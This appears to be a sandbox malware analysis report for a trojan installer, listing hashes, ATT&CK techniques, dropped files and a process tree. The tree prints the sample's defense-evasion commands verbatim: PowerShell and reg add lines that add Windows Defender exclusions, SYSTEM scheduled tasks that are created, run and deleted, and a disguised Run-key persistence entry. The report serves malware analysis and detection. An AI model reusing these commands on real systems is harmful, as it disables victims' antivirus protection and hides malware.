4c86837f9319b4111f63db923f2cabbe311a5374e76fa0f2b7c39bdce7ee0f9e

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 13:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q2.0.18.exe
Size 25.4MB
Sample260905-qjakeastew
SHA256 4c86837f9319b4111f63db923f2cabbe311a5374e76fa0f2b7c39bdce7ee0f9e
MD5 cb5d36ccba47549b662e772702ae964b
SHA1 273b3c19c34e099010744ce31b5defeb7f933ff4
SHA512 9344f5f48aa31c86d8f5cbcbdd168cf5e79ce72404072dc56f1116d1d178a83ad140235e14fcccc24dc1a12085a6cac87efec6d45e3be7b7f48075e393d7eb6b
SSDEEP 49152:YKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46M:djAIMaQi7kmeHh2yeH7rkfvVsX+Nc
TLSH
T19D47E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\qRtGPT = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3132	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5760	7KqzaX.exe
3492	7KqzaX.exe

Loads dropped DLL 2 IoCs

pid	Process
5760	7KqzaX.exe
3492	7KqzaX.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\qRtGPT\\7KqzaX.exe\""	7KqzaX.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3340	cmd.exe
1720	cmd.exe
5904	cmd.exe
620	cmd.exe
2256	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	7KqzaX.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\0KfDsZ\lahBTV.exe	7KqzaX.exe
File opened for modification	C:\Program Files (x86)\0KfDsZ	7KqzaX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4116	cmd.exe
4912	cmd.exe
4736	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3248	schtasks.exe
3796	schtasks.exe
3916	schtasks.exe
3328	schtasks.exe
5356	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
3516	install_q2.0.18.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe
5760	7KqzaX.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeIncreaseQuotaPrivilege	3132	powershell.exe
Token: SeSecurityPrivilege	3132	powershell.exe
Token: SeTakeOwnershipPrivilege	3132	powershell.exe
Token: SeLoadDriverPrivilege	3132	powershell.exe
Token: SeSystemProfilePrivilege	3132	powershell.exe
Token: SeSystemtimePrivilege	3132	powershell.exe
Token: SeProfSingleProcessPrivilege	3132	powershell.exe
Token: SeIncBasePriorityPrivilege	3132	powershell.exe
Token: SeCreatePagefilePrivilege	3132	powershell.exe
Token: SeBackupPrivilege	3132	powershell.exe
Token: SeRestorePrivilege	3132	powershell.exe
Token: SeShutdownPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeSystemEnvironmentPrivilege	3132	powershell.exe
Token: SeRemoteShutdownPrivilege	3132	powershell.exe
Token: SeUndockPrivilege	3132	powershell.exe
Token: SeManageVolumePrivilege	3132	powershell.exe
Token: 33	3132	powershell.exe
Token: 34	3132	powershell.exe
Token: 35	3132	powershell.exe
Token: 36	3132	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5760 wrote to memory of 3132	5760	7KqzaX.exe	94
PID 5760 wrote to memory of 2256	5760	7KqzaX.exe	96
PID 2256 wrote to memory of 3916	2256	cmd.exe	98
PID 2256 wrote to memory of 1948	2256	cmd.exe	100
PID 5760 wrote to memory of 3340	5760	7KqzaX.exe	102
PID 2256 wrote to memory of 2652	2256	cmd.exe	105
PID 3340 wrote to memory of 3328	3340	cmd.exe	106
PID 5760 wrote to memory of 1720	5760	7KqzaX.exe	107
PID 3340 wrote to memory of 4716	3340	cmd.exe	109
PID 1720 wrote to memory of 5356	1720	cmd.exe	111
PID 3340 wrote to memory of 1516	3340	cmd.exe	112
PID 1720 wrote to memory of 4536	1720	cmd.exe	113
PID 5760 wrote to memory of 5904	5760	7KqzaX.exe	114
PID 5904 wrote to memory of 3248	5904	cmd.exe	116
PID 1720 wrote to memory of 4612	1720	cmd.exe	117
PID 5904 wrote to memory of 2924	5904	cmd.exe	118
PID 5760 wrote to memory of 620	5760	7KqzaX.exe	121
PID 5904 wrote to memory of 3136	5904	cmd.exe	123
PID 620 wrote to memory of 3796	620	cmd.exe	124
PID 620 wrote to memory of 4556	620	cmd.exe	125
PID 620 wrote to memory of 4348	620	cmd.exe	127
PID 4912 wrote to memory of 460	4912	cmd.exe	129
PID 4116 wrote to memory of 5820	4116	cmd.exe	130
PID 4736 wrote to memory of 5308	4736	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
"C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3516

C:\Users\Public\qRtGPT\7KqzaX.exe
"C:\Users\Public\qRtGPT\7KqzaX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qRtGPT\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qRtGPT\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4348

C:\Users\Public\qRtGPT\7KqzaX.exe
"C:\Users\Public\qRtGPT\7KqzaX.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3492

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qRtGPT" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qRtGPT" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5820

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1872

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:460

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
Size 1KB
SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
MD5 b15dfb1600ace7f0c686862d26b733ad
SHA1 3bfa41f3ea756f0377dbc2900736ca74c8d42702
SHA512 3d261c2965f608b6af5490e10522db148140bb73a1332a132742db0d4c78783c93273c594e2465011a2062a043e0027281f6062f90aff584fc603162bd1d79fd
TLSH
T1A831B04EA2053023DA49BF72D8CE7E83CDB0374BABCAD45B19445E4229AAFC25FC40C5
MD5 SHA1 SHA512 TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
Size 186B
SHA256 7ccbe8ac0c1e12090dc5c45ce54525ecf8c8d350a34733873e2999ead1124e43
MD5 6975ce19f9472601d3597bf51dcdbfb9
SHA1 5486163d23b15586d826e6672f333de221916f32
SHA512 86cf8def363a41e2e06c1296d691d154f95bdf27480ee80e1cf962b8490a710842e965e4f4bb2967740ba69281eb80600e174abfe7db3433cc9740c111e99b8e
TLSH
T193C08CC403780354F0707D3E2E810AE08F7A5E06A862C3601F30010C8468A000832E26
MD5 SHA1 SHA512 TLSH

Submit Download

7KqzaX.exe

Path C:\Users\Public\qRtGPT\7KqzaX.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\qRtGPT\UxEnhance64.dll
Size 3.1MB
SHA256 bd154dce7684dd6255bc151a8551690b683bd53e5485a16f82905fe0c72be54e
MD5 11c00a2f60728e385d3e94b271744ab6
SHA1 3e1767726ea21d4a5f889b9cc7fbded7a10e3776
SHA512 deee597bc24b4ad7048905b9658c5c3901a02295e7bea6378d2ca08a94211c4d760def98453b2ed7fda3aea4ab3e570074f76d99a5ff05c3f98e2e9213b21e7c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+d:P9m29xx3Tiqt06ox6+z2rNNrKod
TLSH
T125E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\qRtGPT\adoresd.dat
Size 4.7MB
SHA256 e8905d0f796b7c5749786830d652dda49252bbd28558f6ffb4b3b1be14395366
MD5 03b941b5ce42deaa1477fd30c2eebdc7
SHA1 d6641b03296cd0d9ce4d1a6e950e36ebf784319e
SHA512 7b3cc368dd7c1ac3b67d0b5c8c06a2e97c8d6cb723b8e1cbed9f097ce9f59fb85d8372fe623f11f038d45cffe3418a8ac4436b99606d8cad617a741594527138
SSDEEP 98304:tKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:tKClqhi0Cv54K2IVS0VQg
TLSH
T18C3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\qRtGPT\msadox.tb
Size 8KB
SHA256 8528be2693acc8cf58c61c5777b4292426c1d7e95c54d584ddebd61306201f13
MD5 bc128cde6736b2cdde715a6e72442e93
SHA1 ec0d3284e7ccc3313ba7ace0ebce5859f22517c9
SHA512 40fadd3a076938af3800ebb87961762ab8879de70b178bcfa9ea3d3f6f83c07ac27f6cb9b8f9d6a77aad0adc548306b399c01510972f4ae031134e90481a2525
SSDEEP 192:ZqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ZsZqZOXQ3uqvR2Kfzp
TLSH
T1E1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3132-603-0x000001D371870000-0x000001D371892000-memory.dmp

Download

memory/3132-606-0x000001D3718A0000-0x000001D3718BE000-memory.dmp

Download

memory/3132-608-0x000001D371980000-0x000001D37198A000-memory.dmp

Download

memory/3132-607-0x000001D3718C0000-0x000001D371972000-memory.dmp

Download

memory/3492-582-0x00007FFEE2C20000-0x00007FFEE2C22000-memory.dmp

Download

memory/3492-588-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3492-578-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3492-575-0x00007FFEC0070000-0x00007FFEC058E000-memory.dmp

Download

memory/3492-589-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3492-591-0x00007FFEE2C10000-0x00007FFEE2C12000-memory.dmp

Download

memory/3492-590-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3492-583-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3492-587-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

Download

memory/3516-0-0x0000000002040000-0x000000000204E000-memory.dmp

Download

memory/3516-526-0x0000000002040000-0x000000000204E000-memory.dmp

Download

memory/3516-1-0x0000000002050000-0x000000000205C000-memory.dmp

Download

memory/3516-527-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

Download

memory/3516-503-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

Download

memory/3516-524-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

Download

memory/5760-541-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-567-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-552-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-565-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-568-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-559-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

Download

memory/5760-563-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

Download

memory/5760-560-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

Download

memory/5760-558-0x0000029EB43E0000-0x0000029EB442E000-memory.dmp

Download

memory/5760-548-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-547-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-546-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-545-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-562-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

Download

memory/5760-540-0x00007FFEE2C20000-0x00007FFEE2C22000-memory.dmp

Download

memory/5760-538-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

Download

memory/5760-533-0x00007FFEC0070000-0x00007FFEC058E000-memory.dmp

Download

memory/5760-532-0x00007FFEE2C10000-0x00007FFEE2C12000-memory.dmp

Download